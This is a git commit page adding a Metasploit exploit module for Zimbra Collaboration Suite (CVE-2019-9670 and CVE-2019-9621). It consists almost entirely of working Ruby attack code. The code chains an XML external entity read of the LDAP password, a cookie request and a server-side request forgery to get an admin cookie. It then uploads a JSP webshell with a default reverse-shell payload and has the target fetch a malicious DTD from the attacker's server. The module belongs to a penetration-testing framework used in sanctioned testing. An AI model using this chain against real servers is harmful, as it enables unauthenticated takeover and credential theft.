Add Zimbra XXE to RCE module
parent
dbbf1ea5cb
commit
0873ba7ac1
|
@ -0,0 +1,248 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include REXML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Zimbra Collaboration Autodiscover',
|
||||
'Description' => %q{
|
||||
This module exploits an XML external entity vulnerability and a
|
||||
server side request forgery to get unauthenticated code execution
|
||||
on Zimbra Collaboration Suite. The XML external entity vulnerability
|
||||
in the Autodiscover Servlet is used to read a Zimbra configuration
|
||||
file that contains an ldap password for the 'zimbra' account. The
|
||||
zimbra credentials are then used to get a user authentication cookie
|
||||
with an AuthRequest message. Using the user cookie, a server side request
|
||||
forgery in the Proxy Servlet is used to proxy an AuthRequest with
|
||||
the 'zimbra' credentials to the admin port to retrieve an admin
|
||||
cookie. After gaining an admin cookie the Client Upload servlet is
|
||||
used to upload a jsp webshell that can be triggered from the web
|
||||
server to get command execution on the host. The issues reportedly
|
||||
affects Zimbra Collaboration Suite v8.5 to v8.7.11.
|
||||
|
||||
This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64
|
||||
UBUNTU16_64 FOSS edition.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'An Trinh', # Discovery
|
||||
'Khanh Viet Pham', # Discovery
|
||||
'Jacob Robles' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2019-9670'],
|
||||
['CVE', '2019-9621'],
|
||||
['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html']
|
||||
],
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ]
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 8443,
|
||||
'SSL' => true,
|
||||
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
|
||||
},
|
||||
'Stance' => Stance::Aggressive,
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Mar 13 2019' # Blog post date
|
||||
))
|
||||
|
||||
register_options [
|
||||
OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']),
|
||||
OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])
|
||||
]
|
||||
end
|
||||
|
||||
def xxe_req(data)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, '/autodiscover'),
|
||||
'encode_params' => false,
|
||||
'data' => data
|
||||
})
|
||||
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503
|
||||
res
|
||||
end
|
||||
|
||||
def soap_discover(check_soap=false)
|
||||
xml = Document.new
|
||||
|
||||
xml.add_element('Autodiscover')
|
||||
xml.root.add_element('Request')
|
||||
|
||||
req = xml.root.elements[1]
|
||||
|
||||
req.add_element('EMailAddress')
|
||||
req.add_element('AcceptableResponseSchema')
|
||||
|
||||
sub = 'REPLACE'
|
||||
req.elements['EMailAddress'].text = Faker::Internet.email
|
||||
req.elements['AcceptableResponseSchema'].text = sub
|
||||
|
||||
doc = rand_text_alpha_lower(4..8)
|
||||
entity = rand_text_alpha_lower(4..8)
|
||||
local_file = '/etc/passwd'
|
||||
|
||||
res = "<!DOCTYPE #{doc} [<!ELEMENT #{doc} ANY>"
|
||||
if check_soap
|
||||
local = "file://#{local_file}"
|
||||
res << "<!ENTITY #{entity} SYSTEM '#{local}'>]>"
|
||||
res << "#{xml.to_s.sub(sub, "&#{entity};")}"
|
||||
else
|
||||
local = "http://#{srvhost_addr}:#{srvport}#{@service_path}"
|
||||
res << "<!ENTITY % #{entity} SYSTEM '#{local}'>"
|
||||
res << "%#{entity};]>"
|
||||
res << "#{xml.to_s.sub(sub, "&#{@ent_data};")}"
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
def soap_auth(zimbra_user, zimbra_pass, admin=true)
|
||||
urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount'
|
||||
xml = Document.new
|
||||
|
||||
xml.add_element(
|
||||
'soap:Envelope',
|
||||
{'xmlns:soap' => 'http://www.w3.org/2003/05/soap-envelope'}
|
||||
)
|
||||
|
||||
xml.root.add_element('soap:Body')
|
||||
body = xml.root.elements[1]
|
||||
body.add_element(
|
||||
'AuthRequest',
|
||||
{'xmlns' => urn}
|
||||
)
|
||||
|
||||
zimbra_acc = body.elements[1]
|
||||
zimbra_acc.add_element(
|
||||
'account',
|
||||
{'by' => 'adminName'}
|
||||
)
|
||||
zimbra_acc.add_element('password')
|
||||
|
||||
zimbra_acc.elements['account'].text = "#{zimbra_user}"
|
||||
zimbra_acc.elements['password'].text = "#{zimbra_pass}"
|
||||
|
||||
xml.to_s
|
||||
end
|
||||
|
||||
def cookie_req(data)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, '/service/soap/'),
|
||||
'data' => data
|
||||
})
|
||||
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
|
||||
res
|
||||
end
|
||||
|
||||
def proxy_req(data, auth_cookie)
|
||||
target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, '/service/proxy/'),
|
||||
'vars_get' => {'target' => target},
|
||||
'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}",
|
||||
'data' => data,
|
||||
'headers' => {'Host' => "#{datastore['RHOST']}:7071"}
|
||||
})
|
||||
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
|
||||
res
|
||||
end
|
||||
|
||||
def upload_file(file_name, contents, cookie)
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(file_name, nil, nil, 'form-data; name="filename1"')
|
||||
data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")
|
||||
data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"')
|
||||
post_data = data.to_s
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'),
|
||||
'ctype' => 'multipart/form-data; boundary=' + data.bound,
|
||||
'data' => post_data,
|
||||
'cookie' => cookie
|
||||
})
|
||||
end
|
||||
|
||||
def check
|
||||
res = xxe_req(soap_discover(true))
|
||||
if res.body =~ /zimbra/
|
||||
return CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
CheckCode::Unknown
|
||||
end
|
||||
|
||||
def on_request_uri(cli, req)
|
||||
ent_file = rand_text_alpha_lower(4..8)
|
||||
ent_eval = rand_text_alpha_lower(4..8)
|
||||
|
||||
dtd = <<~HERE
|
||||
<!ENTITY % #{ent_file} SYSTEM "file:///opt/zimbra/conf/localconfig.xml">
|
||||
<!ENTITY % #{ent_eval} "<!ENTITY #{@ent_data} '<![CDATA[%#{ent_file};]]>'>">
|
||||
%#{ent_eval};
|
||||
HERE
|
||||
send_response(cli, dtd)
|
||||
end
|
||||
|
||||
def primer
|
||||
datastore['SSL'] = @ssl
|
||||
res = xxe_req(soap_discover)
|
||||
fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m
|
||||
password = $1
|
||||
username = 'zimbra'
|
||||
|
||||
print_good("Password found: #{password}")
|
||||
|
||||
data = soap_auth(username, password, false)
|
||||
res = cookie_req(data)
|
||||
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/
|
||||
auth_cookie = $1
|
||||
|
||||
print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}")
|
||||
|
||||
data = soap_auth(username, password)
|
||||
res = proxy_req(data, auth_cookie)
|
||||
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/
|
||||
admin_cookie = $1
|
||||
|
||||
print_good("Admin cookie retrieved: #{admin_cookie}")
|
||||
|
||||
stager_name = "#{rand_text_alpha(8..16)}.jsp"
|
||||
print_status('Uploading jsp shell')
|
||||
res = upload_file(stager_name, payload.generate, admin_cookie)
|
||||
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200
|
||||
|
||||
print_status("Executing payload on /downloads/#{stager_name}")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri, "/downloads/#{stager_name}"),
|
||||
'cookie' => admin_cookie
|
||||
})
|
||||
end
|
||||
|
||||
def exploit
|
||||
@ent_data = rand_text_alpha_lower(4..8)
|
||||
@ssl = datastore['SSL']
|
||||
datastore['SSL'] = false
|
||||
Timeout.timeout(datastore['HTTPDELAY']) { super }
|
||||
rescue Timeout::Error
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue